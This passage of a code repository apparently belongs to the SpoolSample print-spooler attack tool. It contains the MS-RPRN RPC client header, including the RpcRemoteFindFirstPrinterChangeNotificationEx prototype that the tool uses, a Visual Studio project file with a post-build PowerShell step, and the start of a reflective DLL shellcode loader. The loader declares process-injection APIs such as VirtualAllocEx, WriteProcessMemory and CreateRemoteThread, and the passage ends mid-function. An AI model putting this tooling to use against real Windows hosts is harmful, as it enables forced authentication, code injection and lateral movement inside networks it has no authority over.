90 | /* [in] */ handle_t IDL_handle); 91 | 92 | DWORD RpcOpenPrinter( 93 | /* [unique][string][in] */ STRING_HANDLE pPrinterName, 94 | /* [out] */ PRINTER_HANDLE *pHandle, 95 | /* [unique][string][in] */ wchar_t *pDatatype, 96 | /* [in] */ DEVMODE_CONTAINER *pDevModeContainer, 97 | /* [in] */ DWORD AccessRequired); 98 | 99 | DWORD RpcSetJob( 100 | /* [in] */ handle_t IDL_handle); 101 | 102 | DWORD RpcGetJob( 103 | /* [in] */ handle_t IDL_handle); 104 | 105 | DWORD RpcEnumJobs( 106 | /* [in] */ handle_t IDL_handle); 107 | 108 | DWORD RpcAddPrinter( 109 | /* [in] */ handle_t IDL_handle); 110 | 111 | DWORD RpcDeletePrinter( 112 | /* [in] */ handle_t IDL_handle); 113 | 114 | DWORD RpcSetPrinter( 115 | /* [in] */ handle_t IDL_handle); 116 | 117 | DWORD RpcGetPrinter( 118 | /* [in] */ handle_t IDL_handle); 119 | 120 | DWORD RpcAddPrinterDriver( 121 | /* [in] */ handle_t IDL_handle); 122 | 123 | DWORD RpcEnumPrinterDrivers( 124 | /* [in] */ handle_t IDL_handle); 125 | 126 | DWORD RpcGetPrinterDriver( 127 | /* [in] */ handle_t IDL_handle); 128 | 129 | DWORD RpcGetPrinterDriverDirectory( 130 | /* [in] */ handle_t IDL_handle); 131 | 132 | DWORD RpcDeletePrinterDriver( 133 | /* [in] */ handle_t IDL_handle); 134 | 135 | DWORD RpcAddPrintProcessor( 136 | /* [in] */ handle_t IDL_handle); 137 | 138 | DWORD RpcEnumPrintProcessors( 139 | /* [in] */ handle_t IDL_handle); 140 | 141 | DWORD RpcGetPrintProcessorDirectory( 142 | /* [in] */ handle_t IDL_handle); 143 | 144 | DWORD RpcStartDocPrinter( 145 | /* [in] */ handle_t IDL_handle); 146 | 147 | DWORD RpcStartPagePrinter( 148 | /* [in] */ handle_t IDL_handle); 149 | 150 | DWORD RpcWritePrinter( 151 | /* [in] */ handle_t IDL_handle); 152 | 153 | DWORD RpcEndPagePrinter( 154 | /* [in] */ handle_t IDL_handle); 155 | 156 | DWORD RpcAbortPrinter( 157 | /* [in] */ handle_t IDL_handle); 158 | 159 | DWORD RpcReadPrinter( 160 | /* [in] */ handle_t IDL_handle); 161 | 162 | DWORD RpcEndDocPrinter( 163 | /* [in] */ handle_t IDL_handle); 164 | 165 | DWORD RpcAddJob( 166 | /* [in] */ handle_t IDL_handle); 167 | 168 | DWORD RpcScheduleJob( 169 | /* [in] */ handle_t IDL_handle); 170 | 171 | DWORD RpcGetPrinterData( 172 | /* [in] */ handle_t IDL_handle); 173 | 174 | DWORD RpcSetPrinterData( 175 | /* [in] */ handle_t IDL_handle); 176 | 177 | DWORD RpcWaitForPrinterChange( 178 | /* [in] */ handle_t IDL_handle); 179 | 180 | DWORD RpcClosePrinter( 181 | /* [out][in] */ PRINTER_HANDLE *phPrinter); 182 | 183 | DWORD RpcAddForm( 184 | /* [in] */ handle_t IDL_handle); 185 | 186 | DWORD RpcDeleteForm( 187 | /* [in] */ handle_t IDL_handle); 188 | 189 | DWORD RpcGetForm( 190 | /* [in] */ handle_t IDL_handle); 191 | 192 | DWORD RpcSetForm( 193 | /* [in] */ handle_t IDL_handle); 194 | 195 | DWORD RpcEnumForms( 196 | /* [in] */ handle_t IDL_handle); 197 | 198 | DWORD RpcEnumPorts( 199 | /* [in] */ handle_t IDL_handle); 200 | 201 | DWORD RpcEnumMonitors( 202 | /* [in] */ handle_t IDL_handle); 203 | 204 | void Opnum37NotUsedOnWire( 205 | /* [in] */ handle_t IDL_handle); 206 | 207 | void Opnum38NotUsedOnWire( 208 | /* [in] */ handle_t IDL_handle); 209 | 210 | DWORD RpcDeletePort( 211 | /* [in] */ handle_t IDL_handle); 212 | 213 | DWORD RpcCreatePrinterIC( 214 | /* [in] */ handle_t IDL_handle); 215 | 216 | DWORD RpcPlayGdiScriptOnPrinterIC( 217 | /* [in] */ handle_t IDL_handle); 218 | 219 | DWORD RpcDeletePrinterIC( 220 | /* [in] */ handle_t IDL_handle); 221 | 222 | void Opnum43NotUsedOnWire( 223 | /* [in] */ handle_t IDL_handle); 224 | 225 | void Opnum44NotUsedOnWire( 226 | /* [in] */ handle_t IDL_handle); 227 | 228 | void Opnum45NotUsedOnWire( 229 | /* [in] */ handle_t IDL_handle); 230 | 231 | DWORD RpcAddMonitor( 232 | /* [in] */ handle_t IDL_handle); 233 | 234 | DWORD RpcDeleteMonitor( 235 | /* [in] */ handle_t IDL_handle); 236 | 237 | DWORD RpcDeletePrintProcessor( 238 | /* [in] */ handle_t IDL_handle); 239 | 240 | void Opnum49NotUsedOnWire( 241 | /* [in] */ handle_t IDL_handle); 242 | 243 | void Opnum50NotUsedOnWire( 244 | /* [in] */ handle_t IDL_handle); 245 | 246 | DWORD RpcEnumPrintProcessorDatatypes( 247 | /* [in] */ handle_t IDL_handle); 248 | 249 | DWORD RpcResetPrinter( 250 | /* [in] */ handle_t IDL_handle); 251 | 252 | DWORD RpcGetPrinterDriver2( 253 | /* [in] */ handle_t IDL_handle); 254 | 255 | void Opnum54NotUsedOnWire( 256 | /* [in] */ handle_t IDL_handle); 257 | 258 | void Opnum55NotUsedOnWire( 259 | /* [in] */ handle_t IDL_handle); 260 | 261 | DWORD RpcFindClosePrinterChangeNotification( 262 | /* [in] */ handle_t IDL_handle); 263 | 264 | void Opnum57NotUsedOnWire( 265 | /* [in] */ handle_t IDL_handle); 266 | 267 | DWORD RpcReplyOpenPrinter( 268 | /* [in] */ handle_t IDL_handle); 269 | 270 | DWORD RpcRouterReplyPrinter( 271 | /* [in] */ handle_t IDL_handle); 272 | 273 | DWORD RpcReplyClosePrinter( 274 | /* [in] */ handle_t IDL_handle); 275 | 276 | DWORD RpcAddPortEx( 277 | /* [in] */ handle_t IDL_handle); 278 | 279 | DWORD RpcRemoteFindFirstPrinterChangeNotification( 280 | /* [in] */ handle_t IDL_handle); 281 | 282 | void Opnum63NotUsedOnWire( 283 | /* [in] */ handle_t IDL_handle); 284 | 285 | void Opnum64NotUsedOnWire( 286 | /* [in] */ handle_t IDL_handle); 287 | 288 | DWORD RpcRemoteFindFirstPrinterChangeNotificationEx( 289 | /* [in] */ PRINTER_HANDLE hPrinter, 290 | /* [in] */ DWORD fdwFlags, 291 | /* [in] */ DWORD fdwOptions, 292 | /* [unique][string][in] */ wchar_t *pszLocalMachine, 293 | /* [in] */ DWORD dwPrinterLocal, 294 | /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions); 295 | 296 | 297 | 298 | extern RPC_IF_HANDLE winspool_v1_0_c_ifspec; 299 | extern RPC_IF_HANDLE winspool_v1_0_s_ifspec; 300 | #endif /* __winspool_INTERFACE_DEFINED__ */ 301 | 302 | /* Additional Prototypes for ALL interfaces */ 303 | 304 | handle_t __RPC_USER STRING_HANDLE_bind ( STRING_HANDLE ); 305 | void __RPC_USER STRING_HANDLE_unbind( STRING_HANDLE, handle_t ); 306 | 307 | void __RPC_USER PRINTER_HANDLE_rundown( PRINTER_HANDLE ); 308 | 309 | /* end of Additional Prototypes */ 310 | 311 | #ifdef __cplusplus 312 | } 313 | #endif 314 | 315 | #endif 316 | 317 | 318 | -------------------------------------------------------------------------------- /MS-RPRN/MS-RPRN.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5} 24 | Win32Proj 25 | MSRPRN 26 | 10.0.17134.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v141 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v141 39 | true 40 | Unicode 41 | 42 | 43 | DynamicLibrary 44 | true 45 | v141 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v141 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Use 88 | Level3 89 | Disabled 90 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions); _WINSPOOL_ 91 | Neither 92 | 93 | 94 | Console 95 | kernel32.lib;user32.lib;gdi32.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);Rpcrt4.lib; 96 | 97 | 98 | 99 | 100 | Use 101 | Level3 102 | Disabled 103 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions); _WINSPOOL_ 104 | Neither 105 | 106 | 107 | Console 108 | kernel32.lib;user32.lib;gdi32.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);Rpcrt4.lib; 109 | 110 | 111 | 112 | 113 | Level3 114 | Use 115 | MinSpace 116 | true 117 | true 118 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions); _WINSPOOL_ 119 | MultiThreaded 120 | Size 121 | 122 | 123 | Console 124 | true 125 | true 126 | kernel32.lib;user32.lib;gdi32.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);Rpcrt4.lib; 127 | 128 | 129 | 130 | 131 | Level3 132 | Use 133 | MinSpace 134 | true 135 | true 136 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions); _WINSPOOL_ 137 | MultiThreaded 138 | Size 139 | 140 | 141 | Console 142 | true 143 | true 144 | kernel32.lib;user32.lib;gdi32.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);Rpcrt4.lib; 145 | 146 | 147 | powershell.exe -File "$(SolutionDir)\Out-CSharpDataClass.ps1" -Target "$(TargetPath)" -SolutionDir "$(SolutionDir)" 148 | 149 | 150 | (Post Build) Generating Data.cs for the SpoolSample project 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | NotUsing 165 | NotUsing 166 | NotUsing 167 | NotUsing 168 | 169 | 170 | Create 171 | Create 172 | Create 173 | Create 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | -------------------------------------------------------------------------------- /SpoolSample/RDIShellcodeLoader.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Runtime.InteropServices; 4 | using System.Reflection; 5 | 6 | namespace RDI 7 | { 8 | static class Native 9 | { 10 | [Flags] 11 | public enum ProcessAccessFlags : uint 12 | { 13 | Terminate = 0x00000001, 14 | CreateThread = 0x00000002, 15 | VMOperation = 0x00000008, 16 | VMRead = 0x00000010, 17 | VMWrite = 0x00000020, 18 | DupHandle = 0x00000040, 19 | SetInformation = 0x00000200, 20 | QueryInformation = 0x00000400, 21 | Synchronize = 0x00100000, 22 | All = 0x001F0FFF 23 | } 24 | 25 | [DllImport("kernel32.dll")] 26 | public static extern IntPtr LoadLibrary(string dllToLoad); 27 | 28 | [DllImport("kernel32.dll")] 29 | public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, UInt32 flAllocationType, UInt32 flProtect); 30 | 31 | [DllImport("kernel32.dll")] 32 | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect); 33 | 34 | [DllImport("msvcrt.dll")] 35 | public static extern IntPtr memcpy(IntPtr dest, IntPtr src, UIntPtr count); 36 | 37 | [DllImport("msvcrt.dll")] 38 | public static extern IntPtr memset(IntPtr dest, Int32 character, IntPtr count); 39 | 40 | [DllImport("kernel32.dll")] 41 | public static extern IntPtr GetProcAddress(IntPtr hModule, String procName); 42 | 43 | [DllImport("kernel32.dll")] 44 | public static extern Boolean VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, UInt32 dwFreeType); 45 | 46 | [DllImport("kernel32.dll")] 47 | public static extern Boolean VirtualFree(IntPtr lpAddress, UIntPtr dwSize, UInt32 dwFreeType); 48 | 49 | [DllImport("kernel32.dll")] 50 | public static extern Boolean VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, UInt32 flNewProtect, out UInt32 lpflOldProtect); 51 | 52 | [DllImport("kernel32.dll")] 53 | public static extern Boolean FreeLibrary(IntPtr hModule); 54 | 55 | [DllImport("kernel32.dll")] 56 | public static extern UInt32 WaitForSingleObject(IntPtr hModule, UInt32 timeout); 57 | 58 | [DllImport("kernel32.dll")] 59 | public static extern Boolean WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); 60 | 61 | [DllImport("kernel32.dll")] 62 | public static extern Boolean ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, UIntPtr nSize, out UIntPtr lpNumberOfBytesWritten); 63 | 64 | [DllImport("kernel32.dll")] 65 | public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32 dwCreationFlags, out IntPtr lpThreadID); 66 | 67 | [DllImport("kernel32.dll")] 68 | public static extern Boolean GetExitCodeThread(IntPtr hThread, Int32 exitCode); 69 | 70 | [DllImport("kernel32.dll")] 71 | public static extern Boolean OpenThreadToken(IntPtr ThreadHandle, UInt32 DesiredAccess, Boolean OpenAsSelf, out IntPtr TokenHandle); 72 | 73 | [DllImport("kernel32.dll")] 74 | public static extern IntPtr GetCurrentThread(); 75 | 76 | [DllImport("kernel32.dll")] 77 | public static extern Boolean CloseHandle(IntPtr handle); 78 | 79 | [DllImport("kernel32.dll")] 80 | public static extern IntPtr GetCurrentProcess(); 81 | 82 | [DllImport("kernel32.dll")] 83 | public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId); 84 | 85 | [DllImport("kernel32.dll")] 86 | public static extern UInt32 NtCreateThreadEx(out IntPtr hThread, UInt32 DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, Boolean CreateSuspended, UInt32 StackZeroBits, UInt32 SizeOfStackCommit, UInt32 SizeOfStackReserve, IntPtr lpBytesBuffer); 87 | 88 | [DllImport("kernel32.dll")] 89 | public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, IntPtr dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32 dwCreationFlags, out UInt32 lpThreadID); 90 | 91 | [DllImport("kernel32.dll")] 92 | public static extern Boolean AdjustTokenPrivileges(IntPtr TokenHandle, Boolean DisableAllPrivileges, IntPtr NewState, UInt32 BufferLength, IntPtr PreviousState, IntPtr ReturnLength); 93 | 94 | [DllImport("kernel32.dll")] 95 | public static extern Boolean IsWow64Process(Int32 hProcess); 96 | 97 | public const UInt64 MEM_COMMIT = 0x00001000; 98 | public const UInt64 MEM_RESERVE = 0x00002000; 99 | public const ushort PAGE_NOACCESS = 0x01; 100 | public const ushort PAGE_READONLY = 0x02; 101 | public const ushort PAGE_READWRITE = 0x04; 102 | public const ushort PAGE_WRITECOPY = 0x08; 103 | public const ushort PAGE_EXECUTE = 0x10; 104 | public const ushort PAGE_EXECUTE_READ = 0x20; 105 | public const ushort PAGE_EXECUTE_READWRITE = 0x40; 106 | public const ushort PAGE_EXECUTE_WRITECOPY = 0x80; 107 | public const UInt32 PAGE_NOCACHE = 0x200; 108 | public const UInt64 IMAGE_SCN_MEM_DISCARDABLE = 0x02000000; 109 | public const UInt64 IMAGE_SCN_MEM_EXECUTE = 0x20000000; 110 | public const UInt64 IMAGE_SCN_MEM_READ = 0x40000000; 111 | public const UInt64 IMAGE_SCN_MEM_WRITE = 0x80000000; 112 | public const UInt64 IMAGE_SCN_MEM_NOT_CACHED = 0x04000000; 113 | public const UInt32 MEM_DECOMMIT = 0x4000; 114 | public const UInt32 IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002; 115 | public const UInt32 IMAGE_FILE_DLL = 0x2000; 116 | public const ushort IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE = 0x40; 117 | public const UInt32 IMAGE_DLLCHARACTERISTICS_NX_COMPAT = 0x100; 118 | public const UInt32 MEM_RELEASE = 0x8000; 119 | public const UInt32 TOKEN_QUERY = 0x0008; 120 | public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020; 121 | public const ushort SE_PRIVILEGE_ENABLED = 0x2; 122 | public const UInt32 ERROR_NO_TOKEN = 0x3f0; 123 | } 124 | 125 | public class PE 126 | { 127 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 128 | struct IMAGE_DATA_DIRECTORY 129 | { 130 | public uint VirtualAddress; 131 | public uint Size; 132 | } 133 | 134 | //[StructLayout(LayoutKind.Sequential, Pack = 1)] 135 | [StructLayout(LayoutKind.Explicit)] 136 | unsafe struct IMAGE_SECTION_HEADER 137 | { 138 | [FieldOffset(0)] 139 | public fixed byte Name[8]; 140 | [FieldOffset(8)] 141 | public uint PhysicalAddress; 142 | [FieldOffset(8)] 143 | public uint VirtualSize; 144 | [FieldOffset(12)] 145 | public uint VirtualAddress; 146 | [FieldOffset(16)] 147 | public uint SizeOfRawData; 148 | [FieldOffset(20)] 149 | public uint PointerToRawData; 150 | [FieldOffset(24)] 151 | public uint PointerToRelocations; 152 | [FieldOffset(28)] 153 | public uint PointerToLinenumbers; 154 | [FieldOffset(32)] 155 | public ushort NumberOfRelocations; 156 | [FieldOffset(34)] 157 | public ushort NumberOfLinenumbers; 158 | [FieldOffset(36)] 159 | public uint Characteristics; 160 | } 161 | 162 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 163 | struct IMAGE_FILE_HEADER 164 | { 165 | public ushort Machine; 166 | public ushort NumberOfSections; 167 | public uint TimeDateStamp; 168 | public uint PointerToSymbolTable; 169 | public uint NumberOfSymbols; 170 | public ushort SizeOfOptionalHeader; 171 | public ushort Characteristics; 172 | } 173 | 174 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 175 | struct IMAGE_EXPORT_DIRECTORY 176 | { 177 | public uint Characteristics; 178 | public uint TimeDateStamp; 179 | public ushort MajorVersion; 180 | public ushort MinorVersion; 181 | public uint Name; 182 | public uint Base; 183 | public uint NumberOfFunctions; 184 | public uint NumberOfNames; 185 | public uint AddressOfFunctions; // RVA from base of image 186 | public uint AddressOfNames; // RVA from base of image 187 | public uint AddressOfNameOrdinals; // RVA from base of image 188 | } 189 | 190 | enum IMAGE_DOS_SIGNATURE : ushort 191 | { 192 | DOS_SIGNATURE = 0x5A4D, // MZ 193 | OS2_SIGNATURE = 0x454E, // NE 194 | OS2_SIGNATURE_LE = 0x454C, // LE 195 | } 196 | 197 | enum MagicType : ushort 198 | { 199 | IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b, 200 | IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b, 201 | } 202 | 203 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 204 | struct IMAGE_DOS_HEADER 205 | { 206 | public IMAGE_DOS_SIGNATURE e_magic; // Magic number 207 | public ushort e_cblp; // public bytes on last page of file 208 | public ushort e_cp; // Pages in file 209 | public ushort e_crlc; // Relocations 210 | public ushort e_cparhdr; // Size of header in paragraphs 211 | public ushort e_minalloc; // Minimum extra paragraphs needed 212 | public ushort e_maxalloc; // Maximum extra paragraphs needed 213 | public ushort e_ss; // Initial (relative) SS value 214 | public ushort e_sp; // Initial SP value 215 | public ushort e_csum; // Checksum 216 | public ushort e_ip; // Initial IP value 217 | public ushort e_cs; // Initial (relative) CS value 218 | public ushort e_lfarlc; // File address of relocation table 219 | public ushort e_ovno; // Overlay number 220 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] 221 | public string e_res; // May contain 'Detours!' 222 | public ushort e_oemid; // OEM identifier (for e_oeminfo) 223 | public ushort e_oeminfo; // OEM information; e_oemid specific 224 | [MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst = 10)] 225 | public ushort[] e_res2; // Reserved public ushorts 226 | public Int32 e_lfanew; // File address of new exe header 227 | } 228 | 229 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 230 | struct IMAGE_OPTIONAL_HEADER 231 | { 232 | // 233 | // Standard fields. 234 | // 235 | 236 | public MagicType Magic; 237 | public byte MajorLinkerVersion; 238 | public byte MinorLinkerVersion; 239 | public uint SizeOfCode; 240 | public uint SizeOfInitializedData; 241 | public uint SizeOfUninitializedData; 242 | public uint AddressOfEntryPoint; 243 | public uint BaseOfCode; 244 | public uint BaseOfData; 245 | public uint ImageBase; 246 | public uint SectionAlignment; 247 | public uint FileAlignment; 248 | public ushort MajorOperatingSystemVersion; 249 | public ushort MinorOperatingSystemVersion; 250 | public ushort MajorImageVersion; 251 | public ushort MinorImageVersion; 252 | public ushort MajorSubsystemVersion; 253 | public ushort MinorSubsystemVersion; 254 | public uint Win32VersionValue; 255 | public uint SizeOfImage; 256 | public uint SizeOfHeaders; 257 | public uint CheckSum; 258 | public ushort Subsystem; 259 | public ushort DllCharacteristics; 260 | public uint SizeOfStackReserve; 261 | public uint SizeOfStackCommit; 262 | public uint SizeOfHeapReserve; 263 | public uint SizeOfHeapCommit; 264 | public uint LoaderFlags; 265 | public uint NumberOfRvaAndSizes; 266 | public IMAGE_DATA_DIRECTORY ExportTable; 267 | public IMAGE_DATA_DIRECTORY ImportTable; 268 | public IMAGE_DATA_DIRECTORY ResourceTable; 269 | public IMAGE_DATA_DIRECTORY ExceptionTable; 270 | public IMAGE_DATA_DIRECTORY CertificateTable; 271 | public IMAGE_DATA_DIRECTORY BaseRelocationTable; 272 | public IMAGE_DATA_DIRECTORY Debug; 273 | public IMAGE_DATA_DIRECTORY Architecture; 274 | public IMAGE_DATA_DIRECTORY GlobalPtr; 275 | public IMAGE_DATA_DIRECTORY TLSTable; 276 | public IMAGE_DATA_DIRECTORY LoadConfigTable; 277 | public IMAGE_DATA_DIRECTORY BoundImport; 278 | public IMAGE_DATA_DIRECTORY IAT; 279 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor; 280 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; 281 | public IMAGE_DATA_DIRECTORY Public; 282 | } 283 | 284 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 285 | struct IMAGE_OPTIONAL_HEADER64 286 | { 287 | public MagicType Magic; 288 | public byte MajorLinkerVersion; 289 | public byte MinorLinkerVersion; 290 | public uint SizeOfCode; 291 | public uint SizeOfInitializedData; 292 | public uint SizeOfUninitializedData; 293 | public uint AddressOfEntryPoint; 294 | public uint BaseOfCode; 295 | public ulong ImageBase; 296 | public uint SectionAlignment; 297 | public uint FileAlignment; 298 | public ushort MajorOperatingSystemVersion; 299 | public ushort MinorOperatingSystemVersion; 300 | public ushort MajorImageVersion; 301 | public ushort MinorImageVersion; 302 | public ushort MajorSubsystemVersion; 303 | public ushort MinorSubsystemVersion; 304 | public uint Win32VersionValue; 305 | public uint SizeOfImage; 306 | public uint SizeOfHeaders; 307 | public uint CheckSum; 308 | public ushort Subsystem; 309 | public ushort DllCharacteristics; 310 | public ulong SizeOfStackReserve; 311 | public ulong SizeOfStackCommit; 312 | public ulong SizeOfHeapReserve; 313 | public ulong SizeOfHeapCommit; 314 | public uint LoaderFlags; 315 | public uint NumberOfRvaAndSizes; 316 | public IMAGE_DATA_DIRECTORY ExportTable; 317 | public IMAGE_DATA_DIRECTORY ImportTable; 318 | public IMAGE_DATA_DIRECTORY ResourceTable; 319 | public IMAGE_DATA_DIRECTORY ExceptionTable; 320 | public IMAGE_DATA_DIRECTORY CertificateTable; 321 | public IMAGE_DATA_DIRECTORY BaseRelocationTable; 322 | public IMAGE_DATA_DIRECTORY Debug; 323 | public IMAGE_DATA_DIRECTORY Architecture; 324 | public IMAGE_DATA_DIRECTORY GlobalPtr; 325 | public IMAGE_DATA_DIRECTORY TLSTable; 326 | public IMAGE_DATA_DIRECTORY LoadConfigTable; 327 | public IMAGE_DATA_DIRECTORY BoundImport; 328 | public IMAGE_DATA_DIRECTORY IAT; 329 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor; 330 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; 331 | public IMAGE_DATA_DIRECTORY Public; 332 | } 333 | 334 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 335 | struct IMAGE_NT_HEADERS64 336 | { 337 | public uint Signature; 338 | public IMAGE_FILE_HEADER FileHeader; 339 | public IMAGE_OPTIONAL_HEADER64 OptionalHeader; 340 | } 341 | 342 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 343 | struct IMAGE_NT_HEADERS 344 | { 345 | public uint Signature; 346 | public IMAGE_FILE_HEADER FileHeader; 347 | public IMAGE_OPTIONAL_HEADER OptionalHeader; 348 | } 349 | 350 | public static unsafe class InteropTools 351 | { 352 | private static readonly Type SafeBufferType = typeof(SafeBuffer); 353 | public delegate void PtrToStructureNativeDelegate(byte* ptr, TypedReference structure, uint sizeofT); 354 | public delegate void StructureToPtrNativeDelegate(TypedReference structure, byte* ptr, uint sizeofT); 355 | const BindingFlags flags = BindingFlags.NonPublic | BindingFlags.Static; 356 | private static readonly MethodInfo PtrToStructureNativeMethod = SafeBufferType.GetMethod("PtrToStructureNative", flags); 357 | private static readonly MethodInfo StructureToPtrNativeMethod = SafeBufferType.GetMethod("StructureToPtrNative", flags); 358 | public static readonly PtrToStructureNativeDelegate PtrToStructureNative = (PtrToStructureNativeDelegate)Delegate.CreateDelegate(typeof(PtrToStructureNativeDelegate), PtrToStructureNativeMethod); 359 | public static readonly StructureToPtrNativeDelegate StructureToPtrNative = (StructureToPtrNativeDelegate)Delegate.CreateDelegate(typeof(StructureToPtrNativeDelegate), StructureToPtrNativeMethod); 360 | 361 | private static readonly Func SizeOfHelper_f = (Func)Delegate.CreateDelegate(typeof(Func), typeof(Marshal).GetMethod("SizeOfHelper", flags)); 362 | 363 | public static void StructureToPtrDirect(TypedReference structure, IntPtr ptr, int size) 364 | { 365 | StructureToPtrNative(structure, (byte*)ptr, unchecked((uint)size)); 366 | } 367 | 368 | public static void StructureToPtrDirect(TypedReference structure, IntPtr ptr) 369 | { 370 | StructureToPtrDirect(structure, ptr, SizeOf(__reftype(structure))); 371 | } 372 | 373 | public static void PtrToStructureDirect(IntPtr ptr, TypedReference structure, int size) 374 | { 375 | PtrToStructureNative((byte*)ptr, structure, unchecked((uint)size)); 376 | } 377 | 378 | public static void PtrToStructureDirect(IntPtr ptr, TypedReference structure) 379 | { 380 | PtrToStructureDirect(ptr, structure, SizeOf(__reftype(structure))); 381 | } 382 | 383 | public static void StructureToPtr(ref T structure, IntPtr ptr) 384 | { 385 | StructureToPtrDirect(__makeref(structure), ptr); 386 | } 387 | 388 | public static void PtrToStructure(IntPtr ptr, out T structure) 389 | { 390 | structure = default(T); 391 | PtrToStructureDirect(ptr, __makeref(structure)); 392 | } 393 | 394 | public static T PtrToStructure(IntPtr ptr) 395 | { 396 | T obj; 397 | PtrToStructure(ptr, out obj); 398 | return obj; 399 | } 400 | 401 | public static int SizeOf(T structure) 402 | { 403 | return SizeOf(); 404 | } 405 | 406 | public static int SizeOf() 407 | { 408 | return SizeOf(typeof(T)); 409 | } 410 | 411 | public static int SizeOf(Type t) 412 | { 413 | return SizeOfHelper_f(t, true); 414 | } 415 | } 416 | 417 | public static IntPtr Rva2Offset(uint dwRva, IntPtr PEPointer) 418 | { 419 | bool is64Bit = false; 420 | ushort wIndex = 0; 421 | ushort wNumberOfSections = 0; 422 | IntPtr imageSectionPtr; 423 | IMAGE_SECTION_HEADER SectionHeader; 424 | int sizeOfSectionHeader = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)); 425 | 426 | IMAGE_DOS_HEADER dosHeader = InteropTools.PtrToStructure(PEPointer); 427 | 428 | IntPtr NtHeadersPtr = (IntPtr)((UInt64)PEPointer + (UInt64)dosHeader.e_lfanew); 429 | 430 | var imageNtHeaders32 = (IMAGE_NT_HEADERS)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS)); 431 | var imageNtHeaders64 = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS64)); 432 | 433 | if (imageNtHeaders64.OptionalHeader.Magic == MagicType.IMAGE_NT_OPTIONAL_HDR64_MAGIC) is64Bit = true; 434 | 435 | 436 | if (is64Bit) 437 | { 438 | imageSectionPtr = (IntPtr)(((Int64)NtHeadersPtr + (Int64)Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS64), "OptionalHeader") + (Int64)imageNtHeaders64.FileHeader.SizeOfOptionalHeader)); 439 | SectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure(imageSectionPtr, typeof(IMAGE_SECTION_HEADER)); 440 | wNumberOfSections = imageNtHeaders64.FileHeader.NumberOfSections; 441 | } 442 | else 443 | { 444 | imageSectionPtr = (IntPtr)(((Int64)NtHeadersPtr + (Int64)Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS), "OptionalHeader") + (Int64)imageNtHeaders32.FileHeader.SizeOfOptionalHeader)); 445 | SectionHeader = 